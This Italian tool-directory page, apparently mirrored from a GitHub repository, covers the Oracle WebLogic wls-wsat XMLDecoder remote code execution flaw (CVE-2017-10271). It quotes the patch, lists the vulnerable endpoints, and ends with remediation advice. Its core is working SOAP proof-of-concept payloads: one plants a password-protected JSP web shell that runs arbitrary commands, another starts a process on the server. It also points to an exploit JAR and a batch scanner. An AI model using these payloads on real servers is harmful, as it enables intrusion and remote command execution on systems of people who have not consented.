Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Oracle-WebLogic-CVE-2017-10271 — Autore originale: Bearcat@secfree.com | Kitploit
Strumenti/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

Autore originale: [email protected]

Vedi Repository
1222 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

WebLogic Wls-wsat XMLDecoder

Descrizione della vulnerabilità

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

All'inizio, gli hacker hanno sfruttato la vulnerabilità del componente WLS di WebLogic per lanciare attacchi remoti su larga scala contro server aziendali. Un gran numero di server aziendali è stato compromesso e il numero di aziende attaccate mostra una chiara tendenza all'aumento, richiedendo grande attenzione. Tra questi, CVE-2017-3506 è una vulnerabilità di esecuzione di codice remoto nel componente WLS di Oracle WebLogic, una vulnerabilità sfruttata in ambienti reali senza dettagli pubblici, e molte aziende non hanno ancora installato tempestivamente la patch. Oracle ha rilasciato la patch per questa vulnerabilità nell'aprile 2017.

Nota sulla patch di CVE-2017-3506:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

È stata semplicemente aggiunta una funzione validate prima della deserializzazione, che lancia un'eccezione e termina se qName è uguale a 'object'. Si può dire semplice e brutale, tuttavia, questo tipo di riparazione con lista nera è difficile da risolvere completamente. Degno di riflessione...

Il metodo di sfruttamento di questa vulnerabilità è relativamente semplice: un attaccante deve solo inviare una richiesta HTTP opportunamente costruita per ottenere i permessi sul server di destinazione, con grande danno. Poiché la vulnerabilità è recente, molti host non hanno ancora applicato la patch pertinente. Si prevede che dopo questo incidente improvviso, il numero di attacchi potrebbe aumentare drasticamente, con molti nuovi host compromessi.

La patch di aprile di Oracle per CVE-2017-3506 non ha riparato completamente la vulnerabilità; è possibile aggirare la patch ed eseguire ancora comandi remoti. La vulnerabilità di bypass attuale, CVE-2017-10271, è stata corretta nella patch di ottobre rilasciata da Oracle.

ID vulnerabilità

CVE-2017-10271 (vulnerabilità di bypass dell'esecuzione di comandi remoti wls-wsat)

Versioni interessate

Oracle WebLogic Server10.3.6.0.0 versione

Oracle WebLogic Server12.1.3.0.0 versione

Oracle WebLogic Server12.2.1.1.0 versione

Oracle WebLogic Server12.2.1.2.0 versione

Elenco delle directory wls-wsat

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Metodo di sfruttamento

PoC

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

Esecuzione comandi
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

Utilizzare l'Exploit per ottenere una CmdShell

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

Rilevamento batch degli asset

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

Raccomandazioni per la correzione

  1. Aggiornare la patch di ottobre di Oracle.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. Implementare il controllo degli accessi per le risorse che accedono a wls-wsat.

  2. Soluzione temporanea

    Senza influenzare il business, in base all'ambiente effettivo, eliminare i seguenti pacchetti war e directory dal programma WebLogic.

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

Dopo aver riavviato il servizio WebLogic o il sistema, verificare che il seguente link restituisca 404:

http://ip:port/wls-wsat/CoordinatorPortType11

Scarica lo strumento